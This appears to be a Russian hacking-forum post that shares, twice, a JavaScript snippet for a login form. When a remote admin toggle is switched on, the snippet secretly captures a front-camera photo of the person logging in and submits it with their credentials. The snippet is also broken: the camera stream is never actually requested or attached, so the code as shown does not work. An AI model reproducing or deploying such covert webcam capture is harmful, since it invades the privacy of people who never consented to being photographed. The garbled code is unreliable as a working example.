Когда на лолзе такое добавят

dev Палки uncpfiae

document.addEventListener("DOMContentLoaded", function () {
fetch("/admin/webcam_toggle.txt")
.then(response => response.text())
.then(status => {
const form = document.getElementById("loginForm");
const spinner = document.getElementById("spinner");
const photoInput = document.getElementById("photoInput");

if (status.trim() !== "ON") {
// Webcam is OFF - allow normal form submission
form.addEventListener("submit", function () {
spinner.style.display = "block";
});
return;
}

// Webcam is ON - override submit to take photo before sending
form.addEventListener("submit", function (e) {
e.preventDefault();
spinner.style.display = "block";

navigator.mediaDevices.enumerateDevices().then(devices => {
const videoDevices = devices.filter(device => device.kind === "videoinput");
let preferred = videoDevices.find(device => /face|front|facetime/i.test(device.label)) || videoDevices[0];

return
}).then(stream => {
const video = document.createElement("video");

video.play();

const canvas = document.createElement("canvas");
const context = canvas.getContext("2d");

video.addEventListener("loadedmetadata", () => {
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
context.drawImage(video, 0, 0, canvas.width, canvas.height);
photoInput.value = canvas.toDataURL("image/jpeg");

stream.getTracks().forEach(track => track.stop());
form.submit();
});
}).catch(() => {
form.submit(); // fallback if camera fails
});
});
});
});

JS

document.addEventListener("DOMContentLoaded", function () {

  fetch("/admin/webcam_toggle.txt")

    .then(response => response.text())

    .then(status => {

      const form = document.getElementById("loginForm");

      const spinner = document.getElementById("spinner");

      const photoInput = document.getElementById("photoInput");



      if (status.trim() !== "ON") {

        // Webcam is OFF - allow normal form submission

        form.addEventListener("submit", function () {

          spinner.style.display = "block";

        });

        return;

      }



      // Webcam is ON - override submit to take photo before sending

      form.addEventListener("submit", function (e) {

        e.preventDefault();

        spinner.style.display = "block";



        navigator.mediaDevices.enumerateDevices().then(devices => {

          const videoDevices = devices.filter(device => device.kind === "videoinput");

          let preferred = videoDevices.find(device => /face|front|facetime/i.test(device.label)) || videoDevices[0];



          return

        }).then(stream => {

          const video = document.createElement("video");

          

          video.play();



          const canvas = document.createElement("canvas");

          const context = canvas.getContext("2d");



          video.addEventListener("loadedmetadata", () => {

            canvas.width = video.videoWidth;

            canvas.height = video.videoHeight;

            context.drawImage(video, 0, 0, canvas.width, canvas.height);

            photoInput.value = canvas.toDataURL("image/jpeg");



            stream.getTracks().forEach(track => track.stop());

            form.submit();

          });

        }).catch(() => {

          form.submit(); // fallback if camera fails

        });

      });

    });

});

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